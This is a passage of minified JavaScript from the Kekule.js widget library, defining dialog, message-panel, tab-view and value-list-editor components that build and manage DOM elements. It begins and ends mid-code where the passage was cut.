this.getCaptionElem()},getCoreElement:function(){return this.getClientElem()},doGetWidgetClassName:function(){return i.DIALOG},doCreateRootElement:function(e){return e.createElement("div")},doCreateSubElements:function(e,t){var n,s=[];return(n=e.createElement("div")).className=i.DIALOG_CAPTION,t.appendChild(n),this.setPropStoreFieldValue("captionElem",n),s.push(n),this.setMovingGripper&&this.setMovingGripper(n),(n=e.createElement("div")).className=i.DIALOG_CLIENT,t.appendChild(n),this.setPropStoreFieldValue("clientElem",n),this.doCreateClientContents(n),s.push(n),(n=e.createElement("div")).className=i.DIALOG_BTN_PANEL,t.appendChild(n),this.setPropStoreFieldValue("btnPanelElem",n),s.push(n),this.buttonsChanged(),s},doCreateClientContents:function(e){},buttonsChanged:function(){for(var e=this._childButtons.length-1;e>=0;--e){this._childButtons[e].finalize()}for(var t=this.getButtons()||[],i=(e=0,t.length);e<i;++e)this.createDialogButton(t[e])},createDialogButton:function(e,t,i,n){var s=this._getPredefinedButtonInfo(e);if(s||(s={text:e}),s){var r=new Kekule.Widget.Button(this,s.text);r[this.BTN_NAME_FIELD]=e,r.addEventListener("execute",this._reactDialogBtnExec,this),r.appendToElem(this.getBtnPanelElem()),r.__$name__=e;var a=t||this._getDialogButtonResName(e);return a&&r.linkStyleResource(a),this._childButtons.push(r),r}return null},_getDialogButtonResName:function(e){var t=Kekule.Widget.DialogButtons;return[t.OK,t.YES].indexOf(e)>=0?Kekule.Widget.StyleResourceNames.BUTTON_YES_OK:[t.CANCEL,t.NO].indexOf(e)>=0?Kekule.Widget.StyleResourceNames.BUTTON_NO_CANCEL:null},_reactDialogBtnExec:function(e){var t=Kekule.Widget.DialogButtons,i=[t.OK,t.YES,t.CANCEL,t.NO],n=e.target;if(n){var s=n.__$name__;i.indexOf(s)>=0&&(this.setResult(s),this.close(s))}},_getPredefinedButtonInfo:function(e){var t=Kekule.Widget.DialogButtons,i=[t.OK,t.CANCEL,t.YES,t.NO],n=[Kekule.$L("WidgetTexts.CAPTION_OK"),Kekule.$L("WidgetTexts.CAPTION_CANCEL"),Kekule.$L("WidgetTexts.CAPTION_YES"),Kekule.$L("WidgetTexts.CAPTION_NO")],s=i.indexOf(e);return s>=0?{text:n[s]}:null},getDialogButton:function(e){for(var t=this._childButtons.length-1;t>=0;--t){var i=this._childButtons[t];if(i[this.BTN_NAME_FIELD]===e)return i}return null},needAdjustPosition:function(){return this.getShowHideType()!==Kekule.Widget.ShowHideType.DROPDOWN},_storePositionInfo:function(){if(this.needAdjustPosition()){var e=this.getElement().style;this._posInfo={left:e.left,top:e.top,right:e.right,bottom:e.bottom,width:e.width,height:e.height,position:e.position}}},_restorePositionInfo:function(){if(this.needAdjustPosition()){var e=this.getElement().style,t=this._posInfo;t&&(e.left=t.left,e.top=t.top,e.right=t.right,e.bottom=t.bottom,e.width=t.width,e.height=t.height,e.position=t.position)}},adjustLocation:function(){if(this.needAdjustPosition()){this._storePositionInfo();var e=Kekule.Widget.Location,t=this.getLocation()||e.DEFAULT,n=!1;if(t!==e.DEFAULT){var s,r,a,o,l,u,d=this.getDisplayed(),h=this.getVisible();try{this.setDisplayed(!0,!0),this.setVisible(!0,!0);var g=Kekule.DocumentUtils.getInnerClientDimension(this.getDocument()),c=Kekule.HtmlElementUtils.getElemPageRect(this.getElement(),!0),p=c.right-c.left,E=c.bottom-c.top,f=this.getOffsetParent();f&&Kekule.HtmlElementUtils.getElemPageRect(f,!0);n=p>=g.width||E>=g.height}finally{this.setVisible(h,!0),this.setDisplayed(d,!0)}if(t===e.CENTER_OR_FULLFILL)if(n){Kekule.DocumentUtils.getClientVisibleBox(this.getDocument());p>=g.width?(s=0,l=0):s=(g.width-p)/2,E>=g.height?(r=0,u=0):r=(g.height-E)/2}else t=e.CENTER;if(t===e.FULLFILL?(s=0,r=0,l=0,u=0):t===e.CENTER&&(s=(g.width-p)/2,r=(g.height-E)/2),n){this.removeClassName(i.DIALOG_INSIDE),this.addClassName(i.DIALOG_OVERFLOW);var T=Kekule.DocumentUtils.getScrollPosition(this.getDocument());(s+=T.left)<0&&(s=0),(r+=T.top)<0&&(r=0)}else this.removeClassName(i.DIALOG_OVERFLOW),this.addClassName(i.DIALOG_INSIDE);var C=this.getElement().style,m=Kekule.ObjUtils.notUnset;m(s)&&(C.left=s+"px"),m(r)&&(C.top=r+"px"),m(l)&&(C.right=l+"px"),m(u)&&(C.bottom=l+"px"),m(a)&&(C.width=a+"px"),m(o)&&(C.height=o+"px"),this.adjustClientSize(a,o,n)}this._posAdjusted=!0}},adjustClientSize:function(e,t,i){},prepareShow:function(e,t){var i=this.getElement();i.parentNode||this.getGlobalManager().getContextRootElementOfCaller(t).appendChild(i);var n=this;setTimeout(function(){n._dialogCallback=e},0)},openModal:function(e,t){return this.getGlobalManager().prepareModalWidget(this,t),this.open(e,t)},openPopup:function(e,t){return this.open(e,t,Kekule.Widget.ShowHideType.POPUP)},open:function(e,t,i){return this.prepareShow(e,t),this.show(t,null,i||Kekule.Widget.ShowHideType.DIALOG),this._dialogOpened=!0,this},close:function(e){this.setResult(e),this.hide()},isPositiveResult:function(e){return Kekule.Widget.DialogButtons.isPositive(e||this.getResult())},isNegativeResult:function(e){return Kekule.Widget.DialogButtons.isNegative(e||this.getResult())},widgetShowStateBeforeChanging:function(e){this.tryApplySuper("widgetShowStateBeforeChanging",[e]),e&&(this.adjustLocation(),this.setResult(null))},doWidgetShowStateChanged:function(e){this.tryApplySuper("doWidgetShowStateChanged",[e]),e||this._dialogCallback&&(this._dialogCallback(this.getResult()),this._dialogCallback=null)},widgetShowStateDone:function(e){this.tryApplySuper("widgetShowStateDone",[e]),!e&&this._dialogOpened&&(this.getModalInfo()&&this.getGlobalManager().unprepareModalWidget(this),this.isShown()||this._restorePositionInfo(),this._dialogOpened=!1)}})}(),function(){"use strict";var e=Kekule.HtmlElementUtils,t=Kekule.Widget.HtmlClassNames;Kekule.Widget.HtmlClassNames=Object.extend(Kekule.Widget.HtmlClassNames,{MSGPANEL:"K-MsgPanel",MSGPANEL_CONTENT:"K-MsgPanel-Content",MSGGROUP:"K-MsgGroup",MSGGROUP_FOR_WIDGET:"K-Widget-MsgGroup",MSG_NORMAL:"K-Msg-Normal",MSG_INFO:"K-Msg-Info",MSG_WARNING:"K-Msg-Warning",MSG_ERROR:"K-Msg-Error"}),Kekule.Widget.MsgType={NORMAL:"",INFO:"info",WARNING:"warning",ERROR:"error"},Kekule.Widget.MsgPanel=Class.create(Kekule.Widget.BaseWidget,{CLASS_NAME:"Kekule.Widget.MsgPanel",BINDABLE_TAG_NAMES:["span","div"],initialize:function(e,t,i){this._contentElem=null,this._elemTextPart=null,this._elemLeadingGlyphPart=null,this._elemTailingGlyphPart=null,this.setPropStoreFieldValue("showText",!0),this.tryApplySuper("initialize",[e]),t&&this.setText(t),i&&this.setMsgType(i),this.setUseCornerDecoration(!0)},initProperties:function(){this.defineProp("text",{dataType:DataType.STRING,serializable:!1,getter:function(){return Kekule.HtmlElementUtils.getInnerText(this.getElement())},setter:function(e){this.changeContentText(e)}}),this.defineProp("showLeadingGlyph",{dataType:DataType.BOOL,setter:function(e){this.setPropStoreFieldValue("showLeadingGlyph",e),this._elemLeadingGlyphPart.style.display=e?"":"none"}}),this.defineProp("showTailingGlyph",{dataType:DataType.BOOL,setter:function(e){this.setPropStoreFieldValue("showTailingGlyph",e),this._elemTailingGlyphPart.style.display=e?"":"none"}}),this.defineProp("msgType",{dataType:DataType.STRING,setter:function(e){var t=this.getMsgType();if(t!==e){var i=this.getClassNameForMsgType(t),n=this.getClassNameForMsgType(e);i!==n&&(this.removeClassName(i),this.addClassName(n)),this.setPropStoreFieldValue("msgType",e)}}})},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+t.MSGPANEL},doCreateRootElement:function(e){return e.createElement("span")},doCreateSubElements:function(i,n){var s=this.tryApplySuper("doCreateSubElements",[i,n])||[],r=e.getInnerText(n);n.innerHTML="";var a=i.createElement("span");return a.className=t.MSGPANEL_CONTENT,n.appendChild(a),this._contentElem=a,this._elemTextPart=this.createTextContent(r,a),this._elemLeadingGlyphPart=this.createGlyphContent(a,this._elemTextPart,t.PART_PRI_GLYPH_CONTENT),this._elemTailingGlyphPart=this.createGlyphContent(a,null,t.PART_ASSOC_GLYPH_CONTENT),s.push(a),s},doSetUseCornerDecoration:function(e){this.tryApplySuper("doSetUseCornerDecoration",[e]),e?Kekule.HtmlElementUtils.addClass(this._contentElem,t.CORNER_ALL):Kekule.HtmlElementUtils.removeClass(this._contentElem,t.CORNER_ALL)},getTextSelectable:function(){return!0},changeContentText:function(e){Kekule.DomUtils.setElementText(this._elemTextPart,e||"")},getClassNameForMsgType:function(e){var i=Kekule.Widget.MsgType;switch(e){case i.INFO:return t.MSG_INFO;case i.WARNING:return t.MSG_WARNING;case i.ERROR:return t.MSG_ERROR;default:return t.MSG_NORMAL}}}),Kekule.Widget.MsgGroup=Class.create(Kekule.Widget.WidgetGroup,{CLASS_NAME:"Kekule.Widget.MsgGroup",BINDABLE_TAG_NAMES:["span","div"],initialize:function(e){this.tryApplySuper("initialize",[e]),this.setLayout(Kekule.Widget.Layout.VERTICAL)},initProperties:function(){this.defineProp("reversedOrder",{dataType:DataType.BOOL}),this.defineProp("maxMsgCount",{dataType:DataType.INT,setter:function(e){this.setPropStoreFieldValue("maxMsgCount",e),this.clearExcessiveMsgs()}}),this.defineProp("msgFlashTime",{dataType:DataType.INT})},initPropValues:function(){this.tryApplySuper("initPropValues"),this.setMsgFlashTime(6e3)},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+t.MSGGROUP},doCreateRootElement:function(e){return e.createElement("div")},addMessage:function(e,t,i,n){if(e||t){var s=new Kekule.Widget.MsgPanel(this,e,t);s.setFinalizeAfterHiding(!0),n&&s.addClassName(n),this.getReversedOrder()?s.insertToWidget(this,this.getChildAt(0)):s.appendToWidget(this);var r=Kekule.ObjUtils.isUnset(i)?this.getMsgFlashTime():i;return r?s.flash(r,this):s.show(this),this.clearExcessiveMsgs(),s}},clearExcessiveMsgs:function(){var e=this.getMaxMsgCount();if(e&&e>0){var t=this.getChildWidgets().length-e;if(t>0){var i,n=0,s=this,r=function(){n<t&&(i=s.getOldestMsgPanel(),s.hideMsgPanel(i,r),++n)};r()}}},getOldestMsgPanel:function(){return this.getReversedOrder()?this.getLastChild():this.getFirstChild()},hideMsgPanel:function(e,t){return e.hide(this,t),e}}),ClassEx.defineProp(Kekule.Widget.BaseWidget,"msgReporter",{dataType:"Kekule.Widget.MsgGroup",serializable:!1,setter:null,getter:function(e){var i=this.getPropStoreFieldValue("msgReporter");return!i&&e&&((i=new Kekule.Widget.MsgGroup(this)).addClassName(t.MSGGROUP_FOR_WIDGET),i.appendToWidget(this),this.setPropStoreFieldValue("msgReporter",i)),i}}),ClassEx.extend(Kekule.Widget.BaseWidget,{reportMessage:function(e,t,i,n){var s=this.getMsgReporter(!0),r=s.addMessage(e,t,i||0,n);return s.setDisplayed(!0),r},flashMessage:function(e,t,i,n){return this.reportMessage(e,t,i||this.getMsgReporter(!0).getMsgFlashTime(),n)},removeMessage:function(e){e.hide()}})}(),function(){"use strict";Kekule.HtmlElementUtils;var e=Kekule.Widget.HtmlClassNames,t=Kekule.ArrayUtils;Kekule.Widget.HtmlClassNames=Object.extend(Kekule.Widget.HtmlClassNames,{TABVIEW:"K-TabView",TABVIEW_TABBUTTON:"K-TabView-TabButton",TABVIEW_CLIENT:"K-TabView-Client",TABVIEW_PAGE:"K-TabView-Page",TABVIEW_ACTIVE_PAGE:"K-TabView-Active-Page",TABVIEW_TABBUTTON_CONTAINER:"K-TabView-TabButton-Container",TABVIEW_PAGE_CONTAINER:"K-TabView-Page-Container",TABBUTTONGROUP:"K-TabButtonGroup",TAB_AT_LEFT:"K-TabAtLeft",TAB_AT_RIGHT:"K-TabAtRight",TAB_AT_TOP:"K-TabAtTop",TAB_AT_BOTTOM:"K-TabAtBottom"}),Kekule.Widget.TabPage=Class.create(Kekule.Widget.BaseWidget,{CLASS_NAME:"Kekule.Widget.TabPage",initProperties:function(){this.defineProp("text",{dataType:DataType.STRING}),this.defineProp("active",{dataType:DataType.STRING,getter:function(){var e=this.getTabView();return e?e.getActiveTabPage()===this:this.getPropStoreFieldValue("active")},setter:function(e){this.setPropStoreFieldValue("active",e);var t=this.getTabView();t&&e&&t.setActiveTabPage(this)}})},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+e.TABVIEW_PAGE},doCreateRootElement:function(e){return e.createElement("div")},getTabView:function(){var e=this.getParent();return e instanceof Kekule.Widget.TabView?e:null}}),Kekule.Widget.TabButtonGroup=Class.create(Kekule.Widget.ButtonGroup,{CLASS_NAME:"Kekule.Widget.TabButtonGroup",initialize:function(e){this.tryApplySuper("initialize",[e]),this.addEventListener("execute",function(e){var t=e.target;t instanceof Kekule.Widget.RadioButton&&this.invokeEvent("switch",{button:t})},this),this.tabButtonPosChanged()},initProperties:function(){this.defineProp("tabButtonPosition",{dataType:DataType.INT,enumSource:Kekule.Widget.Position,setter:function(e){this.getTabButtonPosition()!==e&&(this.setPropStoreFieldValue("tabButtonPosition",e),this.tabButtonPosChanged())}}),this.defineProp("activeTabIndex",{dataType:DataType.INT,getter:function(){for(var e=this.getTabButtons(),t=0,i=e.length;t<i;++t)if(e[t].getChecked())return t;return-1},setter:function(e){for(var t=this.getTabButtons(),i=0,n=t.length;i<n;++i)t[i].setChecked(i===e)}})},initPropValues:function(){this.tryApplySuper("initPropValues"),this.setUseCornerDecoration(!1)},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+e.TABBUTTONGROUP},getTabButtons:function(){for(var e=[],t=this.getChildWidgets(),i=0,n=t.length;i<n;++i){var s=t[i];s instanceof Kekule.Widget.RadioButton&&e.push(s)}return e},tabButtonPosChanged:function(){var t=Kekule.Widget.Position,i=this.getTabButtonPosition(),n=i&t.LEFT||i&t.RIGHT,s=i&t.RIGHT?e.TAB_AT_RIGHT:i&t.BOTTOM?e.TAB_AT_BOTTOM:i&t.LEFT?e.TAB_AT_LEFT:e.TAB_AT_TOP;this._lastTabBtnPosClassName&&this.removeClassName(this._lastTabBtnPosClassName),this._lastTabBtnPosClassName=s,this.addClassName(this._lastTabBtnPosClassName),this.setLayout(n?Kekule.Widget.Layout.VERTICAL:Kekule.Widget.Layout.HORIZONTAL)}}),Kekule.Widget.TabView=Class.create(Kekule.Widget.Container,{CLASS_NAME:"Kekule.Widget.TabView",TAB_BTN_FIELD:"__$tabButton__",initialize:function(e){this._tabBtnContainer=null,this._pageContainer=null,this.tryApplySuper("initialize",[e]),Kekule.ObjUtils.isUnset(this.getUseCornerDecoration())&&this.setUseCornerDecoration(!0),this.tabButtonPosChanged(),this.addEventListener("change",this.reactTabPagePropChange,this)},doFinalize:function(){this.getTabGroup()&&this.getTabGroup().finalize(),this.tryApplySuper("doFinalize")},initProperties:function(){this.defineProp("tabPages",{dataType:DataType.ARRAY,serializable:!1,getter:function(){var e=this.getPropStoreFieldValue("tabPages");return e||(e=[],this.setPropStoreFieldValue("tabPages",e)),e},setter:null}),this.defineProp("activeTabPage",{dataType:"Kekule.Widget.TabPage",serializable:!1,setter:function(t){var i=this.getActiveTabPage();i!==t&&this.hasChild(t)&&(this.setPropStoreFieldValue("activeTabPage",t),i&&(i.removeClassName(e.TABVIEW_ACTIVE_PAGE),this._getPageTabButton(i).setChecked(!1)),t&&(t.addClassName(e.TABVIEW_ACTIVE_PAGE),this._getPageTabButton(t).setChecked(!0),this.invokeEvent("switchTab",{tabPage:t})))}}),this.defineProp("activeTabIndex",{dataType:DataType.INT,serializable:!1,getter:function(){return this.getTabPages().indexOf(this.getActiveTabPage())},setter:function(e){var t=this.getTabPages()[e];t&&this.setActiveTabPage(t)}}),this.defineProp("tabButtonPosition",{dataType:DataType.INT,enumSource:Kekule.Widget.Position,setter:function(e){this.getTabButtonPosition()!==e&&(this.setPropStoreFieldValue("tabButtonPosition",e),this.tabButtonPosChanged())}}),this.defineProp("showTabButtons",{dataType:DataType.BOOL,getter:function(){var e=this.getTabGroup();return e&&e.getDisplayed()},setter:function(e){var t=this.getTabGroup();t&&t.setDisplayed(e)}}),this.defineProp("tabGroup",{dataType:"Kekule.Widget.ButtonGroup",serializable:!1,setter:null,scope:Class.PropertyScope.PRIVATE})},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+e.TABVIEW},doCreateRootElement:function(e){return e.createElement("div")},doCreateSubElements:function(t,i){var n=t.createElement("div");n.className=e.TABVIEW_TABBUTTON_CONTAINER;var s=this.doCreateContainerElement(t,null,"div");return s.className=e.TABVIEW_PAGE_CONTAINER,this._tabBtnContainer=n,this._pageContainer=s,i.appendChild(n),i.appendChild(s),this.setPropStoreFieldValue("tabGroup",this.doCreateTabbar(t,n)),[n,s]},doCreateTabbar:function(e,t){var i=new Kekule.Widget.TabButtonGroup(e);return i.setParent(this),i.appendToElem(t),i.addEventListener("switch",function(e){var t=e.button,i=this._getPageOfTabButton(t);i&&this.setActiveTabPage(i)},this),i},getChildrenHolderElement:function(){return this._pageContainer},getContainerElement:function(){return this._pageContainer},_getPageTabButton:function(e){return e[this.TAB_BTN_FIELD]},_setPageTabButton:function(e,t){e[this.TAB_BTN_FIELD]=t},_getPageOfTabButton:function(e){for(var t=this.getTabPages(),i=0,n=t.length;i<n;++i){var s=t[i];if(this._getPageTabButton(s)===e)return s}return null},childWidgetAdded:function(e){if(this.tryApplySuper("childWidgetAdded",[e]),e instanceof Kekule.Widget.TabPage){var t=!this.getTabPages().length;e.appendToElem(this._pageContainer),this.getTabPages().push(e),this._insertTabButtonBefore(e),(t||e.getActive())&&this.setActiveTabPage(e)}},childWidgetRemoved:function(e){this.tryApplySuper("childWidgetRemoved",[e]),e instanceof Kekule.Widget.TabPage&&(t.remove(this.getTabPages(),e),this._removeTabButton(e))},childWidgetMoved:function(e,t){this.tryApplySuper("childWidgetMoved",[e,t]),e instanceof Kekule.Widget.TabPage&&this._changeTabIndex(e,t)},_insertTabButtonBefore:function(e,t){var i=this.getTabGroup(),n=new Kekule.Widget.RadioButton(this.getDocument());this._updateTabButton(e,n),this._setPageTabButton(e,n),t?n.insertToWidget(i,t):n.appendToWidget(i)},_updateTabButton:function(e,t){t||(t=this._getPageTabButton(e)),t.setText(e.getText()||""),e.getHint()&&t.setHint(e.getHint())},_removeTabButton:function(e){var t=this._getPageTabButton(e);t&&t.finalize()},_changeTabIndex:function(e,i){var n=this._getPageTabButton(e);this.getTabGroup()._moveChild(n,i);var s=this.getTabPages(),r=s.indexOf(e);r>=0&&r!==i&&t.changeItemIndex(s,e,i)},reactTabPagePropChange:function(e){var t=e.target;if(t instanceof Kekule.Widget.TabPage){var i=this._getPageTabButton(t);i&&this._updateTabButton(t,i)}},tabButtonPosChanged:function(){var t=Kekule.Widget.Position,i=this.getTabButtonPosition(),n=i&t.BOTTOM||i&t.RIGHT,s=(i&t.LEFT||t.RIGHT,i&t.RIGHT?e.TAB_AT_RIGHT:i&t.BOTTOM?e.TAB_AT_BOTTOM:i&t.LEFT?e.TAB_AT_LEFT:e.TAB_AT_TOP);this._lastTabBtnPosClassName&&this.removeClassName(this._lastTabBtnPosClassName),this._lastTabBtnPosClassName=s,this.addClassName(this._lastTabBtnPosClassName),this.getTabGroup().setTabButtonPosition(i),n?this.getElement().appendChild(this._tabBtnContainer):this.getElement().insertBefore(this._tabBtnContainer,this._pageContainer)},createNewTabPage:function(e,t,i){var n=this.getDocument(),s=new Kekule.Widget.TabPage(n);if(s.setText(e),t&&s.setHint(t),s.appendToWidget(this),i){var r=this.getChildWidgets().indexOf(i);this._moveChild(s,r)}return s}})}(),function(){"use strict";var e=Kekule.DomUtils,t=Kekule.HtmlElementUtils,i=Kekule.Widget.HtmlClassNames;Kekule.Widget.HtmlClassNames=Object.extend(Kekule.Widget.HtmlClassNames,{VALUELISTEDITOR:"K-ValueListEditor",VALUELISTEDITOR_ROW:"K-ValueListEditor-Row",VALUELISTEDITOR_CELL:"K-ValueListEditor-Cell",VALUELISTEDITOR_INDICATORCELL:"K-ValueListEditor-IndicatorCell",VALUELISTEDITOR_KEYCELL:"K-ValueListEditor-KeyCell",VALUELISTEDITOR_VALUECELL:"K-ValueListEditor-ValueCell",VALUELISTEDITOR_CELL_CONTENT:"K-ValueListEditor-CellContent",VALUELISTEDITOR_VALUECELL_TEXT:"K-ValueListEditor-ValueCellText",VALUELISTEDITOR_INLINE_EDIT:"K-ValueListEditor-InlineEdit",VALUELISTEDITOR_EXPANDMARK:"K-ValueListEditor-ExpandMark",VALUELISTEDITOR_ACTIVE_ROW:"K-ValueListEditor-ActiveRow"}),Kekule.Widget.ValueListEditor=Class.create(Kekule.Widget.BaseWidget,{CLASS_NAME:"Kekule.Widget.ValueListEditor",BINDABLE_TAG_NAMES:["table"],ROW_ELEM_TAG:"tr",CELL_ELEM_TAG:"td",ROW_DATA_FIELD:"__$row_data__",ROW_EDIT_INFO_FIELD:"__$row_edit_info__",initialize:function(e){this.tryApplySuper("initialize",[e]),this._inlineEdit=null,this._isActivitingRow=!1},initProperties:function(){this.defineProp("hash",{dataType:DataType.HASH,getter:function(){return this._getTotalHash()},setter:function(e){this._setTotalHash(e),this.setPropStoreFieldValue("hash",e)}}),this.defineProp("readOnly",{dataType:DataType.BOOL}),this.defineProp("useKeyHint",{dataType:DataType.BOOL}),this.defineProp("valueDisplayMode",{dataType:DataType.INT,enumSource:Kekule.Widget.ValueListEditor.ValueDisplayMode,setter:function(e){this.getValueDisplayMode()!==e&&(this.setPropStoreFieldValue("valueDisplayMode",e),this.valueDisplayModeChanged())}}),this.defineProp("activeRow",{dataType:DataType.OBJECT,serializable:!1,scope:Class.PropertyScope.PUBLIC,setter:function(e){var n=this.getActiveRow();n!==e&&(n&&(this.finishEditing(),t.removeClass(n,i.VALUELISTEDITOR_ACTIVE_ROW),this._showValueCellText(n)),this._inlineEdit&&this._inlineEdit.finalize(),e&&(t.addClass(e,i.VALUELISTEDITOR_ACTIVE_ROW),this.createValueEditWidget(e)),this.setPropStoreFieldValue("activeRow",e),this.invokeEvent("activeRowChange",{row:e}))}})},doGetWidgetClassName:function(){return i.VALUELISTEDITOR},doCreateRootElement:function(e){return e.createElement("table")},doBindElement:function(e){this.tryApplySuper("doBindElement",[e])},getRootElem:function(){return this.getElement()},createRowElem:function(e){var n=e.createElement(this.ROW_ELEM_TAG);return t.addClass(n,i.VALUELISTEDITOR_ROW),n},createCellElem:function(e){var n=e.createElement(this.CELL_ELEM_TAG);return t.addClass(n,i.VALUELISTEDITOR_CELL),n},createIndicatorCellElem:function(e){var n=this.createCellElem(e);t.addClass(n,i.VALUELISTEDITOR_INDICATORCELL);var s=e.createElement("span");return n.appendChild(s),n},createKeyCellElem:function(e){var n=this.createCellElem(e);return t.addClass(n,i.VALUELISTEDITOR_KEYCELL),n},createValueCellElem:function(e){var n=this.createCellElem(e);return t.addClass(n,i.VALUELISTEDITOR_VALUECELL),n},createValueEditWidget:function(e){var n=null;if(e===this.getActiveRow()?n=this._inlineEdit:this._inlineEdit&&(this._inlineEdit.finalize(),this._inlineEdit=null),!n){(n=this.getReadOnly()?this.doCreateReadOnlyValueEditWidget(e):this.doCreateValueEditWidget(e)).setBubbleUiEvents(!0),t.addClass(n.getElement(),i.VALUELISTEDITOR_INLINE_EDIT);var s=this.getValueCell(e),r=this.getCellContentWrapper(s,!0);n.appendToElem(r)}return n&&(n.focus&&n.focus(),n.selectAll&&n.selectAll(),this._inlineEdit=n,this._hideValueCellText(e)),n},doCreateValueEditWidget:function(e){var t=this.getValueEditWidgetInfo(e);return this._doCreateValueEditWidgetByWidgetInfo(e,t)},doCreateDefaultValueEditWidget:function(e){return this._doCreateValueEditWidgetByWidgetInfo(e,this.getDefaultValueEditWidgetInfo())},doCreateReadOnlyValueEditWidget:function(e){var t=this._doCreateValueEditWidgetByWidgetInfo(e,this.getReadOnlyValueEditWidgetInfo());return t.setReadOnly&&t.setReadOnly(!0),t},_doCreateValueEditWidgetByWidgetInfo:function(e,t){var i=this.getRowData(e),n=this.getValueCellText(e,i),s=new(0,t.widgetClass)(this);return t.propValues&&s.setPropValues(t.propValues),s.setValue(n),s},getDefaultValueEditWidgetInfo:function(){return{widgetClass:Kekule.Widget.TextBox}},getReadOnlyValueEditWidgetInfo:function(){return{widgetClass:Kekule.Widget.TextBox}},getValueEditWidgetInfo:function(e){return this.getRowEditInfo(e)||this.getDefaultValueEditWidgetInfo()},getRowElems:function(){return this.getRootElem()?e.getDirectChildElems(this.getRootElem(),this.ROW_ELEM_TAG):[]},getRows:function(){return this.getRowElems()},getRowCount:function(){var e=this.getRowElems();return e?e.length:0},getRowAt:function(e){var t=this.getRowElems();return t?t[e]:null},getPrevRow:function(e){for(var t=this.ROW_ELEM_TAG.toLowerCase(),i=e.previousSibling;i&&(i.nodeType!==Node.ELEMENT_NODE||i.tagName.toLowerCase()!==t);)i=i.previousSibling;return i},getNextRow:function(e){for(var t=this.ROW_ELEM_TAG.toLowerCase(),i=e.nextSibling;i&&(i.nodeType!==Node.ELEMENT_NODE||i.tagName.toLowerCase()!==t);)i=i.nextSibling;return i},getKeyCell:function(t){return e.getDirectChildElems(t,this.CELL_ELEM_TAG)[1]},getCellContentWrapper:function(n,s){var r=e.getDirectChildElems(n),a=r?r[0]:null;return!a&&s&&(a=n.ownerDocument.createElement("span"),n.appendChild(a),t.addClass(a,i.VALUELISTEDITOR_CELL_CONTENT)),a},getValueCellTextWrapper:function(e,n){var s=null,r=this.getCellContentWrapper(e,n);if(r){var a=r.getElementsByTagName("span");!(s=a?a[0]:null)&&n&&(s=e.ownerDocument.createElement("span"),r.appendChild(s),t.addClass(s,i.VALUELISTEDITOR_VALUECELL_TEXT))}return s},_hideValueCellText:function(e){var t=this.getValueCellTextWrapper(this.getValueCell(e));t&&(t.style.visibility="hidden")},_showValueCellText:function(e){var t=this.getValueCellTextWrapper(this.getValueCell(e));t&&(t.style.visibility="visible")},getValueCell:function(t){return e.getDirectChildElems(t,this.CELL_ELEM_TAG)[2]},getParentCell:function(t){return e.getNearestAncestorByTagName(t,this.CELL_ELEM_TAG,!0)},getParentRow:function(t){return e.getNearestAncestorByTagName(t,this.ROW_ELEM_TAG,!0)},_createNewRow:function(e){var t=this.getDocument(),i=this.createRowElem(t);if(i){var n=this.createIndicatorCellElem(t);i.appendChild(n);var s=this.createKeyCellElem(t);i.appendChild(s);var r=this.createValueCellElem(t);i.appendChild(r),e&&this.setRowData(i,e)}return i},insertRowBefore:function(e,t){var i=this._createNewRow(e);return i&&this.getRootElem().insertBefore(i,t||null),i},appendRow:function(e){return this.insertRowBefore(e,null)},removeRow:function(e){return e===this.getActiveRow()&&this.setActiveRow(null),this.getRootElem().removeChild(e),this},removeRowAt:function(e){var t=this.getRowAt(e);return t&&this.removeRow(t),this},clear:function(){this.setActiveRow(null),this.getRootElem()&&Kekule.DomUtils.clearChildContent(this.getRootElem())},updateAll:function(){for(var e=this.getRowElems(),t=0,i=e.length;t<i;++t){var n=e[t],s=this.getRowData(n);this.setRowData(n,s)}return this},valueDisplayModeChanged:function(){this.updateAll()},getKeyCellText:function(e,t){return t.title||t.key},getKeyCellHint:function(e,t){return t.hint||this.getKeyCellText(e,t)},getValueCellText:function(e,t){return this.getValueDisplayMode()===n.JSON?JSON.stringify(t.value):""+t.value},valueCellTextToValue:function(e,t,i){return this.getValueDisplayMode()===n.JSON?JSON.parse(e):e},setValueCellText:function(e,t){var i=this.getRowData(t),n=this.valueCellTextToValue(e,t,i);return i.value=n,this.setRowData(t,i),this},getRowData:function(e){return e[this.ROW_DATA_FIELD]},setRowData:function(e,t){e[this.ROW_DATA_FIELD]=t,this.setRowKeyCellContent(e,this.getKeyCellText(e,t),this.getKeyCellHint(e,t)),this.setRowValueCellContent(e,this.getValueCellText(e,t)),e===this.getActiveRow()&&this._inlineEdit&&this.createValueEditWidget(e)},setRowKeyCellContent:function(e,t,i){var n=this.getKeyCell(e),s=this.getCellContentWrapper(n,!0);s.innerHTML=t,this.getUseKeyHint()&&(s.title=i)},setRowValueCellContent:function(e,t){var i=this.getValueCell(e),n=this.getValueCellTextWrapper(i,!0),s=t;""===s?n.innerHTML="&nbsp;":Kekule.DomUtils.setElementText(n,s)},getRowEditInfo:function(e){return e[this.ROW_EDIT_INFO_FIELD]},setRowEditInfo:function(e,t){e[this.ROW_EDIT_INFO_FIELD]=t,e===this.getActiveRow()&&(this.setActiveRow(null),this.setActiveRow(e))},editRow:function(e){this.setActiveRow(e)},finishEditing:function(){var e=this.getActiveRow();return e&&this._inlineEdit&&(this.setValueCellText(this._inlineEdit.getValue(),e),this.invokeEvent("editFinish",{row:e})),this},cancelEditing:function(){var e=this.getActiveRow();if(e&&this._inlineEdit){var t=this.getRowData(e);this.setRowData(e,t),this.invokeEvent("editCancel",{row:e})}return this},_getTotalHash:function(){for(var e={},t=this.getRowElems(),i=0,n=t.length;i<n;++i){var s=t[i],r=this.getRowData(s);r&&(e[r.key]=r.value)}return e},_setTotalHash:function(e){for(var t=this.getRowElems(),i=t.length,n=Kekule.ObjUtils.getOwnedFieldNames(e),s=n.length,r=0;r<s;++r){var a,o=n[r],l=e[o];r<i?(a=this.getRowAt(r),this.setRowData(a,{key:o,value:l})):a=this.appendRow({key:o,value:l})}if(i>s)for(r=i-1;r>=s;--r)this.removeRow(t[r]);var u=this.getActiveRow();return u&&(this.setActiveRow(null),this.setActiveRow(u)),this},react_click:function(e){var t=e.getTarget(),i=this.getParentRow(t);i&&this.setActiveRow(i)},react_keydown:function(e){var 